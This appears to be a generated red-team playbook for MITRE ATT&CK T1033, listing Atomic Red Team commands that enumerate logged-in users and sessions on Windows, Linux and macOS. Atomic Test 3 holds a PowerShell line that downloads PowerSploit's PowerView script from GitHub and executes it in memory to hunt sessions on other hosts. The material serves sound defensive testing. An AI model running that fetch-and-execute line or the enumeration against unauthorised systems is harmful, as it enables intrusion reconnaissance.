T1033 System Owneruser Discovery

---
name: "T1033_system-owneruser-discovery"
description: "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system."
category: "information-gathering"
version: "18.1"
author: "cyberstrike-official"
tags:
  - mitre-attack
  - enterprise
  - t1033
  - discovery
  - linux
  - macos
  - network-devices
  - windows
technique_id: "T1033"
tactic: "discovery"
all_tactics:
  - discovery
platforms:
  - Linux
  - macOS
  - Network Devices
  - Windows
mitre_url: "https://attack.mitre.org/techniques/T1033"
tech_stack:
  - linux
  - macos
  - network devices
  - windows
cwe_ids:
  - CWE-200
chains_with: []
prerequisites: []
severity_boost: {}
---

# T1033 System Owner/User Discovery

## High-Level Description

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Various utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '\_'</code> command can also be used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.

On network devices, Network Device CLI commands such as `show users` and `show ssh` can be used to display users currently logged into the device.

## Kill Chain Phase

- Discovery (TA0007)

**Platforms:** Linux, macOS, Network Devices, Windows

## What to Check

- [ ] Identify if System Owner/User Discovery technique is applicable to target environment
- [ ] Check Linux systems for indicators of System Owner/User Discovery
- [ ] Check macOS systems for indicators of System Owner/User Discovery
- [ ] Check Network Devices systems for indicators of System Owner/User Discovery
- [ ] Assess detection coverage (1 detection strategies)

## How to Test

### Atomic Red Team Tests

The following tests are from [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) and provide actionable ways to test this technique:

### Atomic Test 1: System Owner/User Discovery

Identify System owner or users on an endpoint.

Upon successful execution, cmd.exe will spawn multiple commands against a target host to identify usernames. Output will be via stdout.
Additionally, two files will be written to disk - computers.txt and usernames.txt.

**Supported Platforms:** windows

```cmd
cmd.exe /C whoami
wmic useraccount get /ALL
quser /SERVER:"#{computer_name}"
quser
qwinsta.exe /server:#{computer_name}
qwinsta.exe
for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > computers.txt
@FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /server:%n ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt
```

### Atomic Test 2: System Owner/User Discovery

Identify System owner or users on an endpoint

Upon successful execution, sh will stdout list of usernames.

**Supported Platforms:** linux, macos

```bash
users
w
who
```

### Atomic Test 3: Find computers where user has session - Stealth mode (PowerView)

Find existing user session on other computers. Upon execution, information about any sessions discovered will be displayed.

**Supported Platforms:** windows

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose
```

### Atomic Test 4: User Discovery With Env Vars PowerShell Script

Use the PowerShell environment variables to identify the current logged user.

**Supported Platforms:** windows

```powershell
[System.Environment]::UserName | Out-File -FilePath .\CurrentactiveUser.txt
$env:UserName | Out-File -FilePath .\CurrentactiveUser.txt -Append
```

### Atomic Test 5: GetCurrent User with PowerShell Script

Use the PowerShell "GetCurrent" method of the WindowsIdentity .NET class to identify the logged user.

**Supported Platforms:** windows

```powershell
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\CurrentUserObject.txt
```

### Manual Testing

If Atomic Red Team tests are not applicable, manually verify the technique by:

1. **Identify Attack Surface**: Determine if the target environment is susceptible to System Owner/User Discovery by examining the target platforms (Linux, macOS, Network Devices).

2. **Assess Existing Defenses**: Review whether mitigations for T1033 are in place. If defenses are absent or misconfigured, this technique may be exploitable.

3. **Execute Test**: Use tools and methods described in the MITRE ATT&CK page and external references below.

## Remediation Guide

No specific mitigations documented for this technique.

## Detection

### Behavioral Detection of User Discovery via Local and Remote Enumeration

## Risk Assessment

| Finding                                          | Severity | Impact    |
| ------------------------------------------------ | -------- | --------- |
| System Owner/User Discovery technique applicable | High     | Discovery |

## CWE Categories

| CWE ID  | Title                             |
| ------- | --------------------------------- |
| CWE-200 | Exposure of Sensitive Information |

## References

- [show_ssh_users_cmd_cisco](https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s5.html)
- [US-CERT TA18-106A Network Infrastructure Devices 2018](https://us-cert.cisa.gov/ncas/alerts/TA18-106A)
- [Atomic Red Team - T1033](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1033)
- [MITRE ATT&CK - T1033](https://attack.mitre.org/techniques/T1033)